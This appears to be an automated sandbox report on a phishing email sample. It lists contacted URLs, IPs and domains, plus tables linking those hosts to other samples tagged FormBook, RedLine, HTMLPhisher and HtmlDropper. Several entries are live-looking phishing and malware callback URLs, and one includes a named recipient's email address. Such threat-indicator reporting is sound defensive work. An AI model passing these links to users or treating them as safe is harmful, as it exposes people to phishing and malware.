https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c836df1d4755&lang=auto	false	unknown
https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/fav/ktnax9Oo2WVDAz8	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c89969212cc4&lang=auto	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c8d89fe42e6c&lang=auto	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8d80c8d89fe42e6c/1729844400485/hwBDZeVNXBV8bI8	false	unknown
https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/logo_/3e4580d2e29f2b293129b8831ce74f87671b54c920bc3	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://roaming.officeapps.partner.office365.cn/rs/v1/settings	chromecache_238.7.dr, chromecache_288.7.dr	false		unknown
https://www.onenote.com/officeaddins/meetings?ui=fil-PH&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://useraudit.o365auditrealtimeingestion.manage.office.com	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=is-IS&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=mi-NZ&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://rpsticket.partnerservices.getmicrosoftkey.com	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://lookup.onenote.com/lookup/geolocation/v1	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
http://www.opensource.org/licenses/mit-license.php	chromecache_437.7.dr	false	URL Reputation: safe	unknown
https://www.yammer.com	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=ca-ES-valencia&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://messagebroker.mobile.m365.svc.cloud.microsoft	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=ka-GE&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://www.onenote.com/officeaddins/meetings?ui=tk-TM&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://augloop.office.com/v2;394866fc-eedb-4f01-8536-3ff84b16be2a;liveprofilecard.access;https://sh	chromecache_226.7.dr	false		unknown
https://edge.skype.com/registrar/prod	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://res.getmicrosoftkey.com/api/redemptionevents	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://tasks.office.com	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=et-EE&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://my.microsoftpersonalcontent.com	EDF995D6-4714-4226-A33B-39743D39632C.0.dr, chromecache_238.7.dr, chromecache_288.7.dr, chromecache_373.7.dr, chromecache_361.7.dr	false		unknown
https://store.office.cn/addinstemplate	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=ne-NP&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://www.onenote.com/officeaddins/meetings?ui=sl-SI&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://edge.skype.com/rps	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=bn-BD&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://www.odwebp.svc.ms	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://api.addins.store.officeppe.com/addinstemplate	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://augloop-int.officeppe.com/v2	chromecache_273.7.dr	false		unknown
https://graph.windows.net	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://consent.config.office.com/consentcheckin/v1.0/consents	EDF995D6-4714-4226-A33B-39743D39632C.0.dr, chromecache_273.7.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=cs-CZ&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=pl-PL&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://d.docs.live.net	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false		unknown
https://ncus.contentsync.	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
http://weather.service.msn.com/data.aspx	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7afcb4f3-4aa2-443a-9b08-125a5d692576	chromecache_238.7.dr, chromecache_288.7.dr	false		unknown
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://pushchannel.1drv.ms	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://wus2.contentsync.	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://outlook.office365.com/api/v1.0/me/Activities	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/android/policies	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=mk-MK&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://login.windows-ppe.net	chromecache_302.7.dr, chromecache_284.7.dr	false		unknown
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=lt-LT&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://reactjs.org/link/react-polyfills	chromecache_361.7.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=sq-AL&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://www.onenote.com/officeaddins/meetings?ui=pt-PT&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://login.microsoftonline.com	EDF995D6-4714-4226-A33B-39743D39632C.0.dr, chromecache_302.7.dr, chromecache_284.7.dr	false	URL Reputation: safe	unknown
https://substrate.office.com/search/api/v1/SearchHistory	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=tg-Cyrl-TJ&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://cdn.fluidpreview.office.net/fluid/gcc	chromecache_238.7.dr, chromecache_288.7.dr	false		unknown
https://service.powerapps.com	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://devnull.onenote.com	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=tr-TR&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://www.onenote.com/officeaddins/meetings?ui=fr-FR&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://www.onenote.com/officeaddins/meetings?ui=de-DE&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://fa000000096.resources.office.net/f7024bdc-7caf-4ca8-807d-2908f09640d6/1.0.2210.23001/en-us_w	chromecache_288.7.dr	false		unknown
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://skyapi.live.net/Activity/	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://api.cortana.ai	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false		unknown
https://www.onenote.com/officeaddins/meetings?ui=bn-IN&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://www.onenote.com/officeaddins/meetings?ui=fi-FI&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://visio.uservoice.com/forums/368202-visio-on-devices	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=ms-MY&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://www.onenote.com/officeaddins/meetings?ui=ml-IN&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
http://hammerjs.github.io/	chromecache_324.7.dr, chromecache_405.7.dr	false	URL Reputation: safe	unknown
https://onedrive.live.com/embed?	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false		unknown
https://whiteboard.office365.us	chromecache_238.7.dr, chromecache_288.7.dr	false		unknown
https://augloop.office.com	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=id-ID&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://edog.onenote.com	chromecache_303.7.dr, chromecache_371.7.dr	false		unknown
https://support.office.com/f1/home?isAgave=true	chromecache_302.7.dr, chromecache_284.7.dr	false		unknown
https://api.diagnosticssdf.office.com/v2/file	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://officepyservice.office.net/	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://www.onenote.com/officeaddins/meetings?ui=am-ET&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://wus2.pagecontentsync.	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://cortana.ai/api	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://fa000000096.resources.office.net/f7024bdc-7caf-4ca8-807d-2908f09640d6/1.0.2401.26003/en-us_w	chromecache_238.7.dr, chromecache_288.7.dr	false		unknown
https://www.onenote.com/officeaddins/meetings?ui=tn-ZA&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://www.onenote.com/officeaddins/meetings?ui=pt-BR&temporaryLocalization=true	chromecache_443.7.dr	false		unknown
https://api.diagnosticssdf.office.com	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown
https://cdn.dev.fluidpreview.office.net/fluid/dev	chromecache_238.7.dr, chromecache_288.7.dr	false		unknown
https://api.addins.omex.office.net/appinfo/query	EDF995D6-4714-4226-A33B-39743D39632C.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.16.104	unknown	United States	13335	CLOUDFLARENETUS	false
52.108.9.12	wac-0003.wac-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.130.137	unknown	United States	54113	FASTLYUS	false
52.108.10.12	wac-0003.wac-dc-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
193.235.52.43	clickprotection.skolverket.se	Sweden	203426	AS_SKOLVERKETSE	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.67.167.62	ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top	United States	13335	CLOUDFLARENETUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
13.107.137.11	dual-spov-0006.spov-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.108.8.12	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.6
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541920
Start date and time:	2024-10-25 10:16:54 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ES Ny kontraktsrunda.msg
Detection:	MAL
Classification:	mal56.phis.winMSG@24/386@90/17
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .msg

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 52.109.32.97, 52.113.194.132, 192.229.221.95, 52.168.112.67, 52.111.243.40, 52.111.243.42, 52.111.243.41, 52.111.243.43, 216.58.212.142, 74.125.206.84, 142.250.113.94, 34.104.35.123, 2.23.209.17, 2.23.209.11, 2.23.209.15, 2.23.209.13, 2.23.209.16, 2.23.209.12, 2.23.209.18, 2.23.209.9, 2.23.209.10, 2.23.209.31, 2.23.209.29, 2.23.209.25, 2.23.209.34, 2.23.209.32, 2.23.209.38, 2.23.209.33, 2.23.209.37, 2.23.209.35, 23.38.98.96, 23.38.98.97, 23.38.98.98, 23.38.98.104, 23.38.98.84, 23.38.98.102, 2.16.164.19, 2.16.164.49, 13.89.179.11, 104.102.55.235, 20.189.173.5, 52.111.236.33, 52.111.236.34, 52.111.236.35, 52.111.236.32, 142.250.185.202, 142.250.185.138, 142.250.185.170, 142.250.181.234, 216.58.212.138, 216.58.206.74, 172.217.16.202, 142.250.185.106, 216.58.212.170, 216.58.206.42, 142.250.185.234, 142.250.184.234, 142.250.186.170, 142.250.185.74, 172.217.23.106, 172.217.18.106, 13.107.6.156, 52.109.16.3, 88.221.110.232, 88.221.110.248, 52.109.32.47, 52.109.32.46, 52.109.
Excluded domains from analysis (whitelisted): usc-onenote.officeapps.live.com, azurefd-t-fb-prod.trafficmanager.net, slscr.update.microsoft.com, mrodevicemgr.officeapps.live.com, c1-wildcard.cdn.office.net-c.edgekey.net.globalredir.akadns.net, clientservices.googleapis.com, res-1.cdn.office.net, browser.events.data.trafficmanager.net, mobile.events.data.microsoft.com, cdn.onenote.net.edgekey.net, clients2.google.com, prod-campaignaggregator.omexexternallfb.office.net.akadns.net, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, login.live.com, resources.office.net.edgekey.net, update.googleapis.com, officeclient.microsoft.com, ukw-azsc-config.officeapps.live.com, ecs.office.com, e40491.dscg.akamaiedge.net, wise.public.cdn.office.net, content-autofill.googleapis.com, www.tm.v4.a.prd.aadg.akadns.net, onedscolprdcus15.centralus.cloudapp.azure.com, portal-office365-com.b-0004.b-msedge.net, reverseproxy.onenote.trafficmanager.net, e19254.dscg.akamaiedge.net, s-0005-office.config.skype.com, nleditor.osi.offi
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: ES Ny kontraktsrunda.msg

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
104.21.16.104	QMrtQYunxY.exe	Get hash	malicious	FormBook	Browse	www.nzzz67.lol/g0m5/?CZb4AfR=fwR5FHdQ5pw1uIbg6CYg45JLYpjBJvoDbdG366kM4EpauYYHN6hDMpLMLmLIcN04dl4OvNPGTzpyDvulVuy70TFyNmMlRzal7d/FtVIsGAY7eljPdW1q4uI=&cVfHj=sxE8HXspv6eTuV7
	82YWwkVfIS.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	karotitay.com/administrator/index.php
	Yeni sipari#U015f _WJO-010222, pdf.exe	Get hash	malicious	FormBook	Browse	www.cryptonometrix.com/eqhv/?JX9=FDKTfFcxIx&C48lqRpp=YKqltGj6VJjQMH21rZdMfpHyU7KqPDbLbADEbACE/88fR50MWcraQlfCyqBPhH/X87ow

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
wac-0003.wac-msedge.net	https://klickskydd.skolverket.org/?url=https%3A%2F%2Fonedrive.live.com%2Fredir%3Fresid%3DA2C259BD24DEB977%25211517%26authkey%3D%2521AMV6sdjMIZf95vs%26page%3DView%26wd%3Dtarget%2528Quick%2520Notes.one%257C8266a05f-045a-4cc0-bddc-4debc90069bb%252FNotera%2520H6TYD9J4rDFDFECZC-HUYW%257Ca949d04d-b4e2-4509-b99f-d04546199b7b%252F%2529%26wdorigin%3DNavigationUrl&id=71de&rcpt=johan.brandt@skolverket.se&tss=1729830791&msgid=2d0ccdeb-928a-11ef-8a2e-0050569b0508&html=1&h=008c08c0	Get hash	malicious	Unknown	Browse	52.108.8.12
	EXTERNALRoger Moczygemba shared DIRECT MED CLINIC - CONFIDENTIAL with you.msg	Get hash	malicious	Unknown	Browse	52.108.8.12
	https://1drv.ms/o/c/76471f3776916fd0/EomjtsItbi9Ag0bnzrJDx08BhxVWepFoAXrJFoYeR9IZ0A?e=5%3aEFCh5b&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse	52.108.9.12
	https://1drv.ms/o/c/3e563d3fb2a98d1c/Emlo5KUbYYNEvKtIF-7SS0EBYSeT3hOOGuv_MbeT-n2y4g?e=HPjqUn	Get hash	malicious	HtmlDropper	Browse	52.108.9.12
	https://1drv.ms/o/c/fca0349b9dac3054/Egg4xW-gVZtFnFIBDYLqn3IBzvGvLdCTacUKBwENWO33dQ?e=nEqWJi	Get hash	malicious	Unknown	Browse	52.108.8.12
	https://1drv.ms/o/c/6c73e1f3356d6c81/EvfBo1LISVpEg8JGFA7u8GsBL0LmooIAfd5Q39ROhQ0Lhw?e=ZTugWV	Get hash	malicious	HtmlDropper	Browse	52.108.9.12
	https://churchillmcgee-my.sharepoint.com/:u:/p/tholtzclaw/EZYLQhunQLxJgDl2GitW_PEBRKvAR7X0yXjbidcIUQwyng?e=tBP41r	Get hash	malicious	Unknown	Browse	52.108.9.12
	https://churchillmcgee-my.sharepoint.com/:u:/p/tholtzclaw/EZYLQhunQLxJgDl2GitW_PEBRKvAR7X0yXjbidcIUQwyng?e=tBP41r	Get hash	malicious	Unknown	Browse	52.108.8.12
	https://1drv.ms/o/c/14c2aef4e2cd9199/EmKMpCkEfbpDs04MuZdva6IBilCqbzQYZtfiLbdaioNL0w?e=E2gYSO	Get hash	malicious	Unknown	Browse	52.108.8.12
	https://onedrive.live.com/redir?resid=7EA77BA2B31F5860%21809&authkey=%21ACBUocwpcr44pZ4&page=View&wd=target%28Quick%20Notes.one%7C332160b9-4557-46d8-85f4-3a5f81cbb137%2FASP%20%E2%80%9CProgetto%20Persona%E2%80%9D%7C57dac1b5-636f-4aae-88ec-832b5318580f%2F%29&wdorigin=NavigationUrl	Get hash	malicious	HtmlDropper	Browse	52.108.9.12
dual-spov-0006.spov-msedge.net	https://klickskydd.skolverket.org/?url=https%3A%2F%2Fonedrive.live.com%2Fredir%3Fresid%3DA2C259BD24DEB977%25211517%26authkey%3D%2521AMV6sdjMIZf95vs%26page%3DView%26wd%3Dtarget%2528Quick%2520Notes.one%257C8266a05f-045a-4cc0-bddc-4debc90069bb%252FNotera%2520H6TYD9J4rDFDFECZC-HUYW%257Ca949d04d-b4e2-4509-b99f-d04546199b7b%252F%2529%26wdorigin%3DNavigationUrl&id=71de&rcpt=johan.brandt@skolverket.se&tss=1729830791&msgid=2d0ccdeb-928a-11ef-8a2e-0050569b0508&html=1&h=008c08c0	Get hash	malicious	Unknown	Browse	13.107.139.11
	https://1drv.ms/o/c/76471f3776916fd0/EomjtsItbi9Ag0bnzrJDx08BhxVWepFoAXrJFoYeR9IZ0A?e=5%3aEFCh5b&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse	13.107.137.11
	https://1drv.ms/o/c/3e563d3fb2a98d1c/Emlo5KUbYYNEvKtIF-7SS0EBYSeT3hOOGuv_MbeT-n2y4g?e=HPjqUn	Get hash	malicious	HtmlDropper	Browse	13.107.139.11
	https://1drv.ms/o/c/fca0349b9dac3054/Egg4xW-gVZtFnFIBDYLqn3IBzvGvLdCTacUKBwENWO33dQ?e=nEqWJi	Get hash	malicious	Unknown	Browse	13.107.139.11
	https://1drv.ms/o/c/6c73e1f3356d6c81/EvfBo1LISVpEg8JGFA7u8GsBL0LmooIAfd5Q39ROhQ0Lhw?e=ZTugWV	Get hash	malicious	HtmlDropper	Browse	13.107.137.11
	https://1drv.ms/o/c/14c2aef4e2cd9199/EmKMpCkEfbpDs04MuZdva6IBilCqbzQYZtfiLbdaioNL0w?e=E2gYSO	Get hash	malicious	Unknown	Browse	13.107.139.11
	https://onedrive.live.com/redir?resid=7EA77BA2B31F5860%21809&authkey=%21ACBUocwpcr44pZ4&page=View&wd=target%28Quick%20Notes.one%7C332160b9-4557-46d8-85f4-3a5f81cbb137%2FASP%20%E2%80%9CProgetto%20Persona%E2%80%9D%7C57dac1b5-636f-4aae-88ec-832b5318580f%2F%29&wdorigin=NavigationUrl	Get hash	malicious	HtmlDropper	Browse	13.107.139.11
	https://1drv.ms/u/s!AjGK0P5Yv-x9mrwHZLr8WUius3GFjw?e=UaQCKZ	Get hash	malicious	Unknown	Browse	13.107.139.11
	https://1drv.ms/u/s!AjGK0P5Yv-x9mrwGxL1fzBwzh7NXqw?e=emvIC2	Get hash	malicious	Unknown	Browse	13.107.139.11
	29_21 AM.msg	Get hash	malicious	Unknown	Browse	13.107.137.11
s-part-0044.t-0009.fb-t-msedge.net	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.253.72
	EXTERNALRoger Moczygemba shared DIRECT MED CLINIC - CONFIDENTIAL with you.msg	Get hash	malicious	Unknown	Browse	13.107.253.72
	http://hybrid-web.global.blackspider.com/urlwrap/?q=AXicLU67UsMwEFQBX0Gf0pbtkywxowHLiZgUDEXoGVmRjbFlJX4wk4bPgT-kJgpp9u72dnb35hZ9_SB0943Q2J8S1kTT-Bk53fbGD_Po-8h4h4C_yGb70WGgwAjaOz_q4TFAY41fhvk0mSXyY4Pe5_kw3cdxP3RRa-M8k0-72IqHZXZvRruDbptBrMLl7L5dnLAh60JMfhmNFbb3x0VfmFDBDrPYPO9Wtj--jtp0271IeaVxWlvNawq24rrmlPAKkyw3hGoetMLaNOFnloGugFFS1QmrM3IGAKg1DSLdBrM0veyzSMIsryXPOUnO_1-dYIUisgSKsdoknOWcZiBlmSvMVaZwLouSpIqRslBScsxYCkWZQUkobEByul4riRAivwj9ATUqckw&Z	Get hash	malicious	Unknown	Browse	13.107.253.72
	https://1drv.ms/o/c/76471f3776916fd0/EomjtsItbi9Ag0bnzrJDx08BhxVWepFoAXrJFoYeR9IZ0A?e=5%3aEFCh5b&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse	13.107.253.72
	https://click.smb-hub-amer.com/CL0/https:%2F%2Faws-experience.com%2Famer%2Fsmb%2Fe%2F6585d%2Ftech201-generative-ai-activation---prompt-usering-with-amazon-bedrock/1/010f019292a0535d-76bbe2fd-5051-4597-a0cb-70909e66221c-000000/EuaOeAUnoTjz0zRaIJDPPYf78GxHTGM9U_JpcCxZuA8=180	Get hash	malicious	Unknown	Browse	13.107.253.72
	https://www.cognitoforms.com/f/dPw6PjKRNEiTBIouwlWxQQ/1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.253.72
	http://url960.aceeduconsult.com/ls/click?upn=u001.LUpianUM71xe7PV7wDA6i1kcuy38W249FfPzE-2Fn4iGArrL0MQBCUZHFEzmfBrwW7hf5h8aNQUml0OSIHqpXf0LMpnaTL-2BzYU1WV-2BSTu4-2FYE-3DnWBx_C2kZwAnfGwUSqF5D87NbxLVpuF-2FUu77KiRgkAhE5NE4LxNdD8Vk-2BBXjUuKxXLIa0fIDZmJqQTdTMUWaKg74qY7H1042trEdUOL1Ty-2B4ikz6aamPgX0YPKifSgbmdnoJ9QNdI7-2Fj5HU9YtlUVfM2hhaIRlcN5LDyRrfABDYCmE6HCezIFJke-2Bw8MgqKR8oZe3x0bNQ5ip4gqKVt9OZvtTXtI2W19VoVZDzbdeDK4WD-2F3HaEv25gNxrltbLRhf8V-2BO7eWR3mjaJT30K-2BcVCwIlJZO7lziFom1TeAFneOePh2rvH67eyoHyRuDs7uhJ58UvSbL-2F5WGOZFqHf1Uoqm5u1BuusL-2F4yIoUS3Zge-2Bhwb2SPTTZrQp-2B3YQW62QJEBscu8XAGBtmCTNO-2FGrj9S-2BwtsmLluvkoUx0cXtIZxgyjwWcDifMxEpsoupBhIu0vHgSwbA5Jlj-2FdPy-2B0yhvKMBxhOgsBuXNzAVSfF8HuZvD5iWXinRKWqhNg1QpvfMK5Why8PnI5FwIsgrY7RxMkEbcDdf0VL1a7dM3RDh9LkpekDjtHu-2F4c-2FsI73UIfVUG4-2BbcH5VEOHzkCenTbIl-2BeYnL2jw9k-2Bt-2BAEZMQZavCq5q7Io2kchrzK3tu9Vj43TTv0K790k8tA4okR0vSuH0WvhSIZBs2e3uKgx9FK2SAr5JJzheB6cW2OXdbGgfDGPwGYkvJqNCBixLi9dWacb8fBed5RjA3p1JUsS79RbxF-2FaSjDqEr3OTeFx3WgBthSzcSYPpiE9ha00gB-2FAVdpFU8eOGGhrdGc6OgU4OZhDsRkN5FNMpRj3pgHOHQ6dkJW4RJx1-2B1Om8bljV3ruWQytV5mwg68-2FvnkkpkZM63omm27kalKxw-3D	Get hash	malicious	HTMLPhisher	Browse	13.107.253.72
	http://tracking.nod.ro/tracking/click?d=8REPYbZ94cOn_ul_JxRkLKBjFbxwY-GUgS6EV0s7kapGO_zjZE0f1KtLYT5c7nKgelvuD3vDbSI0lknICwSLWolTib8seslw-_rGaMeEVl6PzTFFf9lSRdtGv9cgKIAiR7f5TSW7wlUFE8pTfmAWGF-pjwVLBAEMrKv3pAyCL9Fm0	Get hash	malicious	Unknown	Browse	13.107.253.72
	https://lnk.ie/73BGS/e=?utm_campaign=&utm_medium=email&utm_source=eloqua&utm_content=EMS&elqTrackId=b3e6296b7e034428ab6cf8165586e5f3&elq=f15d0983a3e2469a9348a180a5d34fca&elqaid=2922&elqat=1&elqCampaignId=1792&elqak=8AF50EC23DDB3CA8DB8B1F52080496E6D8BDFEE307A00555CA936F9692C081A369A3	Get hash	malicious	Unknown	Browse	13.107.253.72
	https://app.writesonic.com/share/writing-assistant/d140c48b-3642-43bf-a085-e258c1fb4f03	Get hash	malicious	Unknown	Browse	13.107.253.72

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
